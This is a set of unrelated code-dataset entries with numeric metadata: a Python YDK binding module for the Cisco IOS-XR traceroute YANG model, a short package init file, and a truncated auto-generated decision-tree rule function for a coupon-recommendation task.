""" Cisco_IOS_XR_traceroute_act This module contains a collection of YANG definitions for Cisco IOS\-XR ping action package configuration. Copyright (c) 2016 by Cisco Systems, Inc. All rights reserved. """ from collections import OrderedDict from ydk.types import Entity, EntityPath, Identity, Enum, YType, YLeaf, YLeafList, YList, LeafDataList, Bits, Empty, Decimal64 from ydk.filters import YFilter from ydk.errors import YError, YModelError from ydk.errors.error_handler import handle_type_error as _handle_type_error class Traceroute(Entity): """ Trace route to destination .. attribute:: input **type**\: :py:class:`Input <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Input>` .. attribute:: output **type**\: :py:class:`Output <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute, self).__init__() self._top_entity = None self.yang_name = "traceroute" self.yang_parent_name = "Cisco-IOS-XR-traceroute-act" self.is_top_level_class = True self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([]) self._leafs = OrderedDict() self.input = Traceroute.Input() self.input.parent = self self._children_name_map["input"] = "input" self.output = Traceroute.Output() self.output.parent = self self._children_name_map["output"] = "output" self._segment_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute" self._is_frozen = True class Input(Entity): """ .. attribute:: destination **type**\: :py:class:`Destination <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Input.Destination>` .. attribute:: ipv4 **type**\: :py:class:`Ipv4 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Input.Ipv4>` .. attribute:: ipv6 **type**\: :py:class:`Ipv6 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Input.Ipv6>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Input, self).__init__() self.yang_name = "input" self.yang_parent_name = "traceroute" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("destination", ("destination", Traceroute.Input.Destination)), ("ipv4", ("ipv4", Traceroute.Input.Ipv4)), ("ipv6", ("ipv6", Traceroute.Input.Ipv6))]) self._leafs = OrderedDict() self.destination = Traceroute.Input.Destination() self.destination.parent = self self._children_name_map["destination"] = "destination" self.ipv4 = Traceroute.Input.Ipv4() self.ipv4.parent = self self._children_name_map["ipv4"] = "ipv4" self.ipv6 = Traceroute.Input.Ipv6() self.ipv6.parent = self self._children_name_map["ipv6"] = "ipv6" self._segment_path = lambda: "input" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Input, [], name, value) class Destination(Entity): """ .. attribute:: destination Destination address or hostname **type**\: str **mandatory**\: True .. attribute:: source Source address or interface **type**\: str .. attribute:: timeout Timeout in seconds **type**\: int **range:** 0..36 **default value**\: 3 .. attribute:: probe Probe count **type**\: int **range:** 1..64 **default value**\: 3 .. attribute:: numeric Numeric display only **type**\: bool .. attribute:: vrf_name VRF name **type**\: str .. attribute:: min_ttl minimum time to live **type**\: int **range:** 0..255 **default value**\: 1 .. attribute:: max_ttl maximum time to live **type**\: int **range:** 0..255 **default value**\: 30 .. attribute:: port Port numbe **type**\: int **range:** 0..65535 .. attribute:: verbose verbose output **type**\: bool .. attribute:: priority Priority of hte packet **type**\: int **range:** 0..15 .. attribute:: outgoing_interface Outgoing interface, needed in case of traceroute to link local address **type**\: str """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Input.Destination, self).__init__() self.yang_name = "destination" self.yang_parent_name = "input" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([]) self._leafs = OrderedDict([ ('destination', (YLeaf(YType.str, 'destination'), ['str'])), ('source', (YLeaf(YType.str, 'source'), ['str'])), ('timeout', (YLeaf(YType.uint32, 'timeout'), ['int'])), ('probe', (YLeaf(YType.uint16, 'probe'), ['int'])), ('numeric', (YLeaf(YType.boolean, 'numeric'), ['bool'])), ('vrf_name', (YLeaf(YType.str, 'vrf-name'), ['str'])), ('min_ttl', (YLeaf(YType.uint16, 'min-ttl'), ['int'])), ('max_ttl', (YLeaf(YType.uint16, 'max-ttl'), ['int'])), ('port', (YLeaf(YType.uint32, 'port'), ['int'])), ('verbose', (YLeaf(YType.boolean, 'verbose'), ['bool'])), ('priority', (YLeaf(YType.uint16, 'priority'), ['int'])), ('outgoing_interface', (YLeaf(YType.str, 'outgoing-interface'), ['str'])), ]) self.destination = None self.source = None self.timeout = None self.probe = None self.numeric = None self.vrf_name = None self.min_ttl = None self.max_ttl = None self.port = None self.verbose = None self.priority = None self.outgoing_interface = None self._segment_path = lambda: "destination" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/input/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Input.Destination, [u'destination', u'source', u'timeout', u'probe', u'numeric', u'vrf_name', u'min_ttl', u'max_ttl', u'port', u'verbose', 'priority', 'outgoing_interface'], name, value) class Ipv4(Entity): """ .. attribute:: destination Destination address or hostname **type**\: str **mandatory**\: True .. attribute:: source Source address or interface **type**\: str .. attribute:: timeout Timeout in seconds **type**\: int **range:** 0..36 **default value**\: 3 .. attribute:: probe Probe count **type**\: int **range:** 1..64 **default value**\: 3 .. attribute:: numeric Numeric display only **type**\: bool .. attribute:: vrf_name VRF name **type**\: str .. attribute:: min_ttl minimum time to live **type**\: int **range:** 0..255 **default value**\: 1 .. attribute:: max_ttl maximum time to live **type**\: int **range:** 0..255 **default value**\: 30 .. attribute:: port Port numbe **type**\: int **range:** 0..65535 .. attribute:: verbose verbose output **type**\: bool """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Input.Ipv4, self).__init__() self.yang_name = "ipv4" self.yang_parent_name = "input" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([]) self._leafs = OrderedDict([ ('destination', (YLeaf(YType.str, 'destination'), ['str'])), ('source', (YLeaf(YType.str, 'source'), ['str'])), ('timeout', (YLeaf(YType.uint32, 'timeout'), ['int'])), ('probe', (YLeaf(YType.uint16, 'probe'), ['int'])), ('numeric', (YLeaf(YType.boolean, 'numeric'), ['bool'])), ('vrf_name', (YLeaf(YType.str, 'vrf-name'), ['str'])), ('min_ttl', (YLeaf(YType.uint16, 'min-ttl'), ['int'])), ('max_ttl', (YLeaf(YType.uint16, 'max-ttl'), ['int'])), ('port', (YLeaf(YType.uint32, 'port'), ['int'])), ('verbose', (YLeaf(YType.boolean, 'verbose'), ['bool'])), ]) self.destination = None self.source = None self.timeout = None self.probe = None self.numeric = None self.vrf_name = None self.min_ttl = None self.max_ttl = None self.port = None self.verbose = None self._segment_path = lambda: "ipv4" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/input/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Input.Ipv4, [u'destination', u'source', u'timeout', u'probe', u'numeric', u'vrf_name', u'min_ttl', u'max_ttl', u'port', u'verbose'], name, value) class Ipv6(Entity): """ .. attribute:: destination Destination address or hostname **type**\: str **mandatory**\: True .. attribute:: source Source address or interface **type**\: str .. attribute:: timeout Timeout in seconds **type**\: int **range:** 0..36 **default value**\: 3 .. attribute:: probe Probe count **type**\: int **range:** 1..64 **default value**\: 3 .. attribute:: numeric Numeric display only **type**\: bool .. attribute:: vrf_name VRF name **type**\: str .. attribute:: min_ttl minimum time to live **type**\: int **range:** 0..255 **default value**\: 1 .. attribute:: max_ttl maximum time to live **type**\: int **range:** 0..255 **default value**\: 30 .. attribute:: port Port numbe **type**\: int **range:** 0..65535 .. attribute:: verbose verbose output **type**\: bool .. attribute:: priority Priority of hte packet **type**\: int **range:** 0..15 .. attribute:: outgoing_interface Outgoing interface, needed in case of traceroute to link local address **type**\: str """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Input.Ipv6, self).__init__() self.yang_name = "ipv6" self.yang_parent_name = "input" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([]) self._leafs = OrderedDict([ ('destination', (YLeaf(YType.str, 'destination'), ['str'])), ('source', (YLeaf(YType.str, 'source'), ['str'])), ('timeout', (YLeaf(YType.uint32, 'timeout'), ['int'])), ('probe', (YLeaf(YType.uint16, 'probe'), ['int'])), ('numeric', (YLeaf(YType.boolean, 'numeric'), ['bool'])), ('vrf_name', (YLeaf(YType.str, 'vrf-name'), ['str'])), ('min_ttl', (YLeaf(YType.uint16, 'min-ttl'), ['int'])), ('max_ttl', (YLeaf(YType.uint16, 'max-ttl'), ['int'])), ('port', (YLeaf(YType.uint32, 'port'), ['int'])), ('verbose', (YLeaf(YType.boolean, 'verbose'), ['bool'])), ('priority', (YLeaf(YType.uint16, 'priority'), ['int'])), ('outgoing_interface', (YLeaf(YType.str, 'outgoing-interface'), ['str'])), ]) self.destination = None self.source = None self.timeout = None self.probe = None self.numeric = None self.vrf_name = None self.min_ttl = None self.max_ttl = None self.port = None self.verbose = None self.priority = None self.outgoing_interface = None self._segment_path = lambda: "ipv6" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/input/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Input.Ipv6, [u'destination', u'source', u'timeout', u'probe', u'numeric', u'vrf_name', u'min_ttl', u'max_ttl', u'port', u'verbose', 'priority', 'outgoing_interface'], name, value) class Output(Entity): """ .. attribute:: traceroute_response **type**\: :py:class:`TracerouteResponse <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output, self).__init__() self.yang_name = "output" self.yang_parent_name = "traceroute" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("traceroute-response", ("traceroute_response", Traceroute.Output.TracerouteResponse))]) self._leafs = OrderedDict() self.traceroute_response = Traceroute.Output.TracerouteResponse() self.traceroute_response.parent = self self._children_name_map["traceroute_response"] = "traceroute-response" self._segment_path = lambda: "output" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output, [], name, value) class TracerouteResponse(Entity): """ .. attribute:: ipv4 **type**\: :py:class:`Ipv4 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv4>` .. attribute:: ipv6 **type**\: :py:class:`Ipv6 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv6>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse, self).__init__() self.yang_name = "traceroute-response" self.yang_parent_name = "output" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("ipv4", ("ipv4", Traceroute.Output.TracerouteResponse.Ipv4)), ("ipv6", ("ipv6", Traceroute.Output.TracerouteResponse.Ipv6))]) self._leafs = OrderedDict() self.ipv4 = Traceroute.Output.TracerouteResponse.Ipv4() self.ipv4.parent = self self._children_name_map["ipv4"] = "ipv4" self.ipv6 = Traceroute.Output.TracerouteResponse.Ipv6() self.ipv6.parent = self self._children_name_map["ipv6"] = "ipv6" self._segment_path = lambda: "traceroute-response" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/output/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse, [], name, value) class Ipv4(Entity): """ .. attribute:: destination Destination address or hostname **type**\: str .. attribute:: hops **type**\: :py:class:`Hops <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv4.Hops>` .. attribute:: verbose_output Verbose output **type**\: str """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv4, self).__init__() self.yang_name = "ipv4" self.yang_parent_name = "traceroute-response" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("hops", ("hops", Traceroute.Output.TracerouteResponse.Ipv4.Hops))]) self._leafs = OrderedDict([ ('destination', (YLeaf(YType.str, 'destination'), ['str'])), ('verbose_output', (YLeaf(YType.str, 'verbose-output'), ['str'])), ]) self.destination = None self.verbose_output = None self.hops = Traceroute.Output.TracerouteResponse.Ipv4.Hops() self.hops.parent = self self._children_name_map["hops"] = "hops" self._segment_path = lambda: "ipv4" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/output/traceroute-response/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv4, [u'destination', u'verbose_output'], name, value) class Hops(Entity): """ .. attribute:: hop **type**\: list of :py:class:`Hop <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv4.Hops, self).__init__() self.yang_name = "hops" self.yang_parent_name = "ipv4" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("hop", ("hop", Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop))]) self._leafs = OrderedDict() self.hop = YList(self) self._segment_path = lambda: "hops" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/output/traceroute-response/ipv4/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv4.Hops, [], name, value) class Hop(Entity): """ .. attribute:: hop_index (key) Index of the hop **type**\: int **range:** 0..4294967295 .. attribute:: hop_address Address of the hop **type**\: str .. attribute:: hop_hostname Hostname of the hop **type**\: str .. attribute:: probes **type**\: :py:class:`Probes <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop, self).__init__() self.yang_name = "hop" self.yang_parent_name = "hops" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = ['hop_index'] self._child_classes = OrderedDict([("probes", ("probes", Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes))]) self._leafs = OrderedDict([ ('hop_index', (YLeaf(YType.uint32, 'hop-index'), ['int'])), ('hop_address', (YLeaf(YType.str, 'hop-address'), ['str'])), ('hop_hostname', (YLeaf(YType.str, 'hop-hostname'), ['str'])), ]) self.hop_index = None self.hop_address = None self.hop_hostname = None self.probes = Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes() self.probes.parent = self self._children_name_map["probes"] = "probes" self._segment_path = lambda: "hop" + "[hop-index='" + str(self.hop_index) + "']" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/output/traceroute-response/ipv4/hops/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop, [u'hop_index', u'hop_address', u'hop_hostname'], name, value) class Probes(Entity): """ .. attribute:: probe **type**\: list of :py:class:`Probe <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes.Probe>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes, self).__init__() self.yang_name = "probes" self.yang_parent_name = "hop" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = [] self._child_classes = OrderedDict([("probe", ("probe", Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes.Probe))]) self._leafs = OrderedDict() self.probe = YList(self) self._segment_path = lambda: "probes" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes, [], name, value) class Probe(Entity): """ .. attribute:: probe_index (key) Index of the probe **type**\: int **range:** 0..4294967295 .. attribute:: result Response for each probe **type**\: str .. attribute:: delta_time Delta time in seconds **type**\: int **range:** 0..4294967295 .. attribute:: hop_address Address of the hop **type**\: str .. attribute:: hop_hostname Hostname of the hop **type**\: str """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes.Probe, self).__init__() self.yang_name = "probe" self.yang_parent_name = "probes" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = ['probe_index'] self._child_classes = OrderedDict([]) self._leafs = OrderedDict([ ('probe_index', (YLeaf(YType.uint32, 'probe-index'), ['int'])), ('result', (YLeaf(YType.str, 'result'), ['str'])), ('delta_time', (YLeaf(YType.uint32, 'delta-time'), ['int'])), ('hop_address', (YLeaf(YType.str, 'hop-address'), ['str'])), ('hop_hostname', (YLeaf(YType.str, 'hop-hostname'), ['str'])), ]) self.probe_index = None self.result = None self.delta_time = None self.hop_address = None self.hop_hostname = None self._segment_path = lambda: "probe" + "[probe-index='" + str(self.probe_index) + "']" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv4.Hops.Hop.Probes.Probe, [u'probe_index', u'result', u'delta_time', u'hop_address', u'hop_hostname'], name, value) class Ipv6(Entity): """ .. attribute:: destination Destination address or hostname **type**\: str .. attribute:: hops **type**\: :py:class:`Hops <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv6.Hops>` .. attribute:: verbose_output Verbose output **type**\: str """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv6, self).__init__() self.yang_name = "ipv6" self.yang_parent_name = "traceroute-response" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("hops", ("hops", Traceroute.Output.TracerouteResponse.Ipv6.Hops))]) self._leafs = OrderedDict([ ('destination', (YLeaf(YType.str, 'destination'), ['str'])), ('verbose_output', (YLeaf(YType.str, 'verbose-output'), ['str'])), ]) self.destination = None self.verbose_output = None self.hops = Traceroute.Output.TracerouteResponse.Ipv6.Hops() self.hops.parent = self self._children_name_map["hops"] = "hops" self._segment_path = lambda: "ipv6" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/output/traceroute-response/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv6, [u'destination', u'verbose_output'], name, value) class Hops(Entity): """ .. attribute:: hop **type**\: list of :py:class:`Hop <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv6.Hops, self).__init__() self.yang_name = "hops" self.yang_parent_name = "ipv6" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("hop", ("hop", Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop))]) self._leafs = OrderedDict() self.hop = YList(self) self._segment_path = lambda: "hops" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/output/traceroute-response/ipv6/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv6.Hops, [], name, value) class Hop(Entity): """ .. attribute:: hop_index (key) Index of the hop **type**\: int **range:** 0..4294967295 .. attribute:: hop_address Address of the hop **type**\: str .. attribute:: hop_hostname Hostname of the hop **type**\: str .. attribute:: probes **type**\: :py:class:`Probes <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop, self).__init__() self.yang_name = "hop" self.yang_parent_name = "hops" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = ['hop_index'] self._child_classes = OrderedDict([("probes", ("probes", Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes))]) self._leafs = OrderedDict([ ('hop_index', (YLeaf(YType.uint32, 'hop-index'), ['int'])), ('hop_address', (YLeaf(YType.str, 'hop-address'), ['str'])), ('hop_hostname', (YLeaf(YType.str, 'hop-hostname'), ['str'])), ]) self.hop_index = None self.hop_address = None self.hop_hostname = None self.probes = Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes() self.probes.parent = self self._children_name_map["probes"] = "probes" self._segment_path = lambda: "hop" + "[hop-index='" + str(self.hop_index) + "']" self._absolute_path = lambda: "Cisco-IOS-XR-traceroute-act:traceroute/output/traceroute-response/ipv6/hops/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop, [u'hop_index', u'hop_address', u'hop_hostname'], name, value) class Probes(Entity): """ .. attribute:: probe **type**\: list of :py:class:`Probe <ydk.models.cisco_ios_xr.Cisco_IOS_XR_traceroute_act.Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes.Probe>` """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes, self).__init__() self.yang_name = "probes" self.yang_parent_name = "hop" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = [] self._child_classes = OrderedDict([("probe", ("probe", Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes.Probe))]) self._leafs = OrderedDict() self.probe = YList(self) self._segment_path = lambda: "probes" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes, [], name, value) class Probe(Entity): """ .. attribute:: probe_index (key) Index of the probe **type**\: int **range:** 0..4294967295 .. attribute:: result Response for each probe **type**\: str .. attribute:: delta_time Delta time in seconds **type**\: int **range:** 0..4294967295 .. attribute:: hop_address Address of the hop **type**\: str .. attribute:: hop_hostname Hostname of the hop **type**\: str """ _prefix = 'traceroute-act' _revision = '2016-09-28' def __init__(self): super(Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes.Probe, self).__init__() self.yang_name = "probe" self.yang_parent_name = "probes" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = ['probe_index'] self._child_classes = OrderedDict([]) self._leafs = OrderedDict([ ('probe_index', (YLeaf(YType.uint32, 'probe-index'), ['int'])), ('result', (YLeaf(YType.str, 'result'), ['str'])), ('delta_time', (YLeaf(YType.uint32, 'delta-time'), ['int'])), ('hop_address', (YLeaf(YType.str, 'hop-address'), ['str'])), ('hop_hostname', (YLeaf(YType.str, 'hop-hostname'), ['str'])), ]) self.probe_index = None self.result = None self.delta_time = None self.hop_address = None self.hop_hostname = None self._segment_path = lambda: "probe" + "[probe-index='" + str(self.probe_index) + "']" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Traceroute.Output.TracerouteResponse.Ipv6.Hops.Hop.Probes.Probe, [u'probe_index', u'result', u'delta_time', u'hop_address', u'hop_hostname'], name, value) def clone_ptr(self): self._top_entity = Traceroute() return self._top_entity

39.966606

235

0.427907

3,508

44,283

5.152794

0.047605

0.054879

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0.0343

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0.890518

0.88919

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0.885484

0

0.018681

0.466906

44,283

1,107

236

40.00271

0.747024

0.179685

0

0.78125

0

0.008929

0.121795

0.026965

0

1

0.075893

false

0

0.011161

0

0.131696

0

null

0

1

0

1

0

null

0

7

7d7aeca3909a080d92affaa8fafc5c6564b034b0

204

py

Python

evaluation_framework/EntityRelatedness/__init__.py

nheist/Evaluation-Framework

0561fcbca5025f280624c02f6fad24a888c653ab

[ "Apache-2.0" ]

2

2020-08-01T07:12:00.000Z

2022-02-10T10:19:11.000Z

evaluation_framework/EntityRelatedness/__init__.py

nheist/Evaluation-Framework

0561fcbca5025f280624c02f6fad24a888c653ab

[ "Apache-2.0" ]

null

evaluation_framework/EntityRelatedness/__init__.py

nheist/Evaluation-Framework

0561fcbca5025f280624c02f6fad24a888c653ab

[ "Apache-2.0" ]

null

from evaluation_framework.EntityRelatedness.entityRelatedness_model import EntityRelatednessModel from evaluation_framework.EntityRelatedness.entityRelatedness_taskManager import EntityRelatednessManager

68

105

0.941176

16

204

11.75

0.5625

0.148936

0.244681

0.425532

0.606383

0

0.039216

204

2

106

102

0.959184

0

1

0

true

0

1

0

1

0

1

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1

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1

0

1

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null

0

1

0

1

0

1

0

9

7dc06d3f6b15f5990790bf4048cdb9403eddb0e5

315,260

py

Python

duke-cs671-fall21-coupon-recommendation/outputs/rules/ID3/13_features/maxdepth_5/4/rules.py

apcarrik/kaggle

6e2d4db58017323e7ba5510bcc2598e01a4ee7bf

[ "MIT" ]

null

duke-cs671-fall21-coupon-recommendation/outputs/rules/ID3/13_features/maxdepth_5/4/rules.py

apcarrik/kaggle

6e2d4db58017323e7ba5510bcc2598e01a4ee7bf

[ "MIT" ]

null

duke-cs671-fall21-coupon-recommendation/outputs/rules/ID3/13_features/maxdepth_5/4/rules.py

apcarrik/kaggle

6e2d4db58017323e7ba5510bcc2598e01a4ee7bf

[ "MIT" ]

null

def findDecision(obj): #obj[0]: Passanger, obj[1]: Time, obj[2]: Coupon, obj[3]: Gender, obj[4]: Age, obj[5]: Children, obj[6]: Education, obj[7]: Occupation, obj[8]: Bar, obj[9]: Coffeehouse, obj[10]: Restaurant20to50, obj[11]: Direction_same, obj[12]: Distance # {"feature": "Coupon", "instances": 8148, "metric_value": 0.4751, "depth": 1} if obj[2]>1: # {"feature": "Coffeehouse", "instances": 5867, "metric_value": 0.461, "depth": 2} if obj[9]>0.0: # {"feature": "Distance", "instances": 4415, "metric_value": 0.44, "depth": 3} if obj[12]<=2: # {"feature": "Passanger", "instances": 3980, "metric_value": 0.4296, "depth": 4} if obj[0]<=2: # {"feature": "Gender", "instances": 2590, "metric_value": 0.4529, "depth": 5} if obj[3]>0: # {"feature": "Occupation", "instances": 1404, "metric_value": 0.4705, "depth": 6} if obj[7]>1.5272800515844427: # {"feature": "Time", "instances": 1149, "metric_value": 0.4764, "depth": 7} if obj[1]<=3: # {"feature": "Children", "instances": 937, "metric_value": 0.482, "depth": 8} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 490, "metric_value": 0.4898, "depth": 9} if obj[10]>0.0: # {"feature": "Bar", "instances": 418, "metric_value": 0.4829, "depth": 10} if obj[8]>0.0: # {"feature": "Education", "instances": 309, "metric_value": 0.4772, "depth": 11} if obj[6]<=2: # {"feature": "Age", "instances": 232, "metric_value": 0.4783, "depth": 12} if obj[4]<=4: # {"feature": "Direction_same", "instances": 210, "metric_value": 0.4861, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[4]>4: # {"feature": "Direction_same", "instances": 22, "metric_value": 0.3955, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]>2: # {"feature": "Direction_same", "instances": 77, "metric_value": 0.4596, "depth": 12} if obj[11]<=0: # {"feature": "Age", "instances": 40, "metric_value": 0.3947, "depth": 13} if obj[4]<=1: return 'False' elif obj[4]>1: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Age", "instances": 37, "metric_value": 0.456, "depth": 13} if obj[4]<=1: return 'False' elif obj[4]>1: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[8]<=0.0: # {"feature": "Education", "instances": 109, "metric_value": 0.4152, "depth": 11} if obj[6]<=3: # {"feature": "Age", "instances": 92, "metric_value": 0.4548, "depth": 12} if obj[4]<=5: # {"feature": "Direction_same", "instances": 87, "metric_value": 0.4807, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[4]>5: return 'True' else: return 'True' elif obj[6]>3: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.1008, "depth": 12} if obj[11]<=0: return 'True' elif obj[11]>0: # {"feature": "Age", "instances": 7, "metric_value": 0.2286, "depth": 13} if obj[4]>0: return 'True' elif obj[4]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Bar", "instances": 72, "metric_value": 0.4709, "depth": 10} if obj[8]<=0.0: # {"feature": "Direction_same", "instances": 43, "metric_value": 0.4921, "depth": 11} if obj[11]<=0: # {"feature": "Education", "instances": 26, "metric_value": 0.4872, "depth": 12} if obj[6]>0: # {"feature": "Age", "instances": 20, "metric_value": 0.5, "depth": 13} if obj[4]<=1: return 'True' elif obj[4]>1: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Age", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[4]<=4: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Age", "instances": 17, "metric_value": 0.4412, "depth": 12} if obj[4]<=4: # {"feature": "Education", "instances": 16, "metric_value": 0.4667, "depth": 13} if obj[6]<=0: return 'True' elif 